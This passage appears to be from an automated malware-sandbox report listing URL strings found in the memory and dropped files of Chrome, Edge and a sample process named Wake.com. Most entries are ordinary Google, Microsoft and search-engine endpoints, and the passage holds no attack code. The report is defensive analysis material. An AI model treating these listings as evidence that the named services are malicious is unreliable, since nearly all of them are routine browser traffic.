Source: chrome.exe, 00000010.00000002.1350848860.0000203C0124C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1299573499.0000203C01558000.00000004.00000800.00020000.00000000.sdmp, chromecache_456.18.dr, chromecache_453.18.dr	String found in binary or memory: https://apis.google.com
Source: chrome.exe, 00000010.00000002.1348696422.0000203C00C14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1343916285.0000203C000B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.24R2mrw_td8.O/m=gapi_iframes
Source: msedge.exe, 0000001A.00000002.1401674444.000001ACE134E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.comse
Source: 2cc80dabc69f58b6_1.28.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 2cc80dabc69f58b6_1.28.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.28.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: chrome.exe, 00000010.00000002.1347876155.0000203C009E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://blog.google/products/chrome/google-chrome-safe-browsing-real-time/
Source: Wake.com, 0000000C.00000002.2165101677.0000000001220000.00000004.00000020.00020000.00000000.sdmp, Wake.com, 0000000C.00000002.2166362758.000000000378F000.00000004.00000800.00020000.00000000.sdmp, Wake.com, 0000000C.00000002.2165101677.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, jmyuai.12.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: Wake.com, 0000000C.00000002.2165101677.0000000001220000.00000004.00000020.00020000.00000000.sdmp, Wake.com, 0000000C.00000002.2166362758.000000000378F000.00000004.00000800.00020000.00000000.sdmp, Wake.com, 0000000C.00000002.2165101677.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, jmyuai.12.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: 2cc80dabc69f58b6_1.28.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.28.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.29.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.28.dr	String found in binary or memory: https://c.msn.com/
Source: chrome.exe, 00000010.00000003.1299133666.0000203C00604000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1351878121.0000203C01548000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://calendar.google.com
Source: chrome.exe, 00000010.00000002.1348991157.0000203C00D18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1351741434.0000203C014C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1348519314.0000203C00B90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://calendar.google.com/calendar/u/0/r/eventedit?usp=chrome_actions
Source: sriwln.12.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: offscreendocument_main.js.28.dr, service_worker_bin_prod.js.28.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/mathjax/
Source: Wake.com, 0000000C.00000002.2166362758.0000000003785000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1349395091.0000203C00E44000.00000004.00000800.00020000.00000000.sdmp, Web Data.28.dr, sriwln.12.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Wake.com, 0000000C.00000002.2166362758.0000000003785000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1349395091.0000203C00E44000.00000004.00000800.00020000.00000000.sdmp, Web Data.28.dr, sriwln.12.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chrome.exe, 00000010.00000002.1344111795.0000203C000F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1343493846.0000203C00004000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1347630075.0000203C00964000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1347809865.0000203C009B8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001A.00000002.1404726022.000032580237C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: manifest.json.28.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: chrome.exe, 00000010.00000002.1349554998.0000203C00ECC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1344690210.0000203C00220000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1352335959.0000203C01828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1348776929.0000203C00C38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1349464140.0000203C00E74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: chrome.exe, 00000010.00000002.1338289525.00000267190A7000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enm/webstore?hl=en
Source: chrome.exe, 00000010.00000002.1344111795.0000203C000F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreLDDiscover
Source: chrome.exe, 00000010.00000003.1258465643.0000203800504000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/
Source: chrome.exe, 00000010.00000003.1298868983.0000203C01720000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1299890870.0000203800630000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/2%
Source: chrome.exe, 00000010.00000003.1258465643.0000203800504000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/
Source: chrome.exe, 00000010.00000003.1298868983.0000203C01720000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1299890870.0000203800630000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/2$
Source: chrome.exe, 00000010.00000003.1258354717.00002038004E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1258108524.00002038004CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1258203692.00002038004D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 00000010.00000003.1298868983.0000203C01720000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1299890870.0000203800630000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/2O
Source: chrome.exe, 00000010.00000002.1346865080.0000203C0083C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromemodelexecution-pa.googleapis.com/v1:Execute?key=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNh
Source: chrome.exe, 00000010.00000002.1346865080.0000203C0083C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromemodelquality-pa.googleapis.com/v1:LogAiData?key=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNh
Source: chrome.exe, 00000010.00000002.1344690210.0000203C00220000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromereporting-pa.googleapis.com/v1/events
Source: chrome.exe, 00000010.00000002.1344690210.0000203C00220000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromereporting-pa.googleapis.com/v1/record
Source: chrome.exe, 00000010.00000002.1343493846.0000203C00004000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001A.00000002.1404726022.000032580237C000.00000004.00000800.00020000.00000000.sdmp, manifest.json.28.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: msedge.exe, 0000001A.00000002.1404726022.000032580237C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromewebstore.google.com/2X
Source: chrome.exe, 00000010.00000002.1348214480.0000203C00A68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromewebstore.google.com/category/extensions
Source: chrome.exe, 00000010.00000002.1348122760.0000203C00A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromewebstore.google.com/category/themes
Source: chrome.exe, 00000010.00000002.1344619852.0000203C001F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://classroom.googleapis.com/
Source: chrome.exe, 00000010.00000003.1252031008.000011C0000E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: chrome.exe, 00000010.00000002.1350394563.0000203C01174000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1344334138.0000203C00170000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1344690210.0000203C00220000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1272577662.0000203C01170000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1347845641.0000203C009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1343493846.0000203C00004000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1344529607.0000203C001D0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001A.00000002.1404050523.0000325802240000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.28.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: chrome.exe, 00000010.00000002.1347387744.0000203C008C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/collection-images?rt=b
Source: chrome.exe, 00000010.00000002.1347387744.0000203C008C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/collections?rt=b
Source: chrome.exe, 00000010.00000002.1347387744.0000203C008C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b
Source: chrome.exe, 00000010.00000002.1344690210.0000203C00220000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients4.google.com/chrome-sync
Source: chrome.exe, 00000010.00000002.1344690210.0000203C00220000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients4.google.com/chrome-sync/event
Source: chromecache_456.18.dr	String found in binary or memory: https://clients6.google.com
Source: chrome.exe, 00000010.00000002.1347517190.0000203C00904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clientservices.googleapis.com/chrome-variations/seed?osname=win&channel=stable&milestone=134
Source: chromecache_456.18.dr	String found in binary or memory: https://content.googleapis.com
Source: Wake.com, 0000000C.00000002.2165101677.0000000001220000.00000004.00000020.00020000.00000000.sdmp, Wake.com, 0000000C.00000002.2166362758.000000000378F000.00000004.00000800.00020000.00000000.sdmp, Wake.com, 0000000C.00000002.2165101677.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, jmyuai.12.dr	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: Wake.com, 0000000C.00000002.2165101677.0000000001220000.00000004.00000020.00020000.00000000.sdmp, Wake.com, 0000000C.00000002.2166362758.000000000378F000.00000004.00000800.00020000.00000000.sdmp, Wake.com, 0000000C.00000002.2165101677.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, jmyuai.12.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: chrome.exe, 00000010.00000002.1345098711.0000203C00428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/report-to/gws/none
Source: 2cc80dabc69f58b6_0.28.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: manifest.json0.28.dr	String found in binary or memory: https://docs.google.com/
Source: chrome.exe, 00000010.00000002.1348276849.0000203C00A90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/:
Source: chrome.exe, 00000010.00000002.1348276849.0000203C00A90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/?usp=installed_webapp
Source: chrome.exe, 00000010.00000002.1348276849.0000203C00A90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/J
Source: chrome.exe, 00000010.00000003.1298868983.0000203C01720000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1299890870.0000203800630000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview2K
Source: chrome.exe, 00000010.00000002.1348276849.0000203C00A90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1346373016.0000203C0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/installwebapp?usp=chrome_default
Source: chrome.exe, 00000010.00000002.1348991157.0000203C00D18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1351741434.0000203C014C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1348519314.0000203C00B90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000010.00000002.1348991157.0000203C00D18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1351741434.0000203C014C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1348519314.0000203C00B90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/forms/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000010.00000002.1348276849.0000203C00A90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/:
Source: chrome.exe, 00000010.00000002.1348276849.0000203C00A90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/?usp=installed_webapp
Source: chrome.exe, 00000010.00000002.1348276849.0000203C00A90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/J
Source: chrome.exe, 00000010.00000002.1348276849.0000203C00A90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1346373016.0000203C0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/installwebapp?usp=chrome_default
Source: chrome.exe, 00000010.00000002.1348991157.0000203C00D18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1350961542.0000203C012A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1348519314.0000203C00B90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000010.00000002.1350961542.0000203C012A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/u/0/create?usp=chrome_actionsC0A
Source: chrome.exe, 00000010.00000002.1348276849.0000203C00A90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/:
Source: chrome.exe, 00000010.00000002.1348276849.0000203C00A90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/?usp=installed_webapp
Source: chrome.exe, 00000010.00000002.1348276849.0000203C00A90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/J
Source: chrome.exe, 00000010.00000002.1348276849.0000203C00A90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1346373016.0000203C0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/installwebapp?usp=chrome_default
Source: chrome.exe, 00000010.00000002.1348991157.0000203C00D18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1351741434.0000203C014C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1348519314.0000203C00B90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions
Source: chromecache_456.18.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: manifest.json0.28.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.28.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.28.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.28.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.28.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.28.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.28.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.28.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.28.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.28.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.28.dr	String found in binary or memory: https://drive.google.com/
Source: chrome.exe, 00000010.00000002.1348276849.0000203C00A90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/:
Source: chrome.exe, 00000010.00000002.1348276849.0000203C00A90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?lfhs=2
Source: chrome.exe, 00000010.00000002.1348276849.0000203C00A90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/J
Source: chrome.exe, 00000010.00000002.1348276849.0000203C00A90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1346373016.0000203C0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/drive/installwebapp?usp=chrome_default
Source: sriwln.12.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Web Data.28.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Wake.com, 0000000C.00000002.2166362758.0000000003785000.00000004.00000800.00020000.00000000.sdmp, sriwln.12.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtabv20
Source: sriwln.12.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 000003.log5.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log5.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log4.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr, HubApps Icons.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log5.28.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
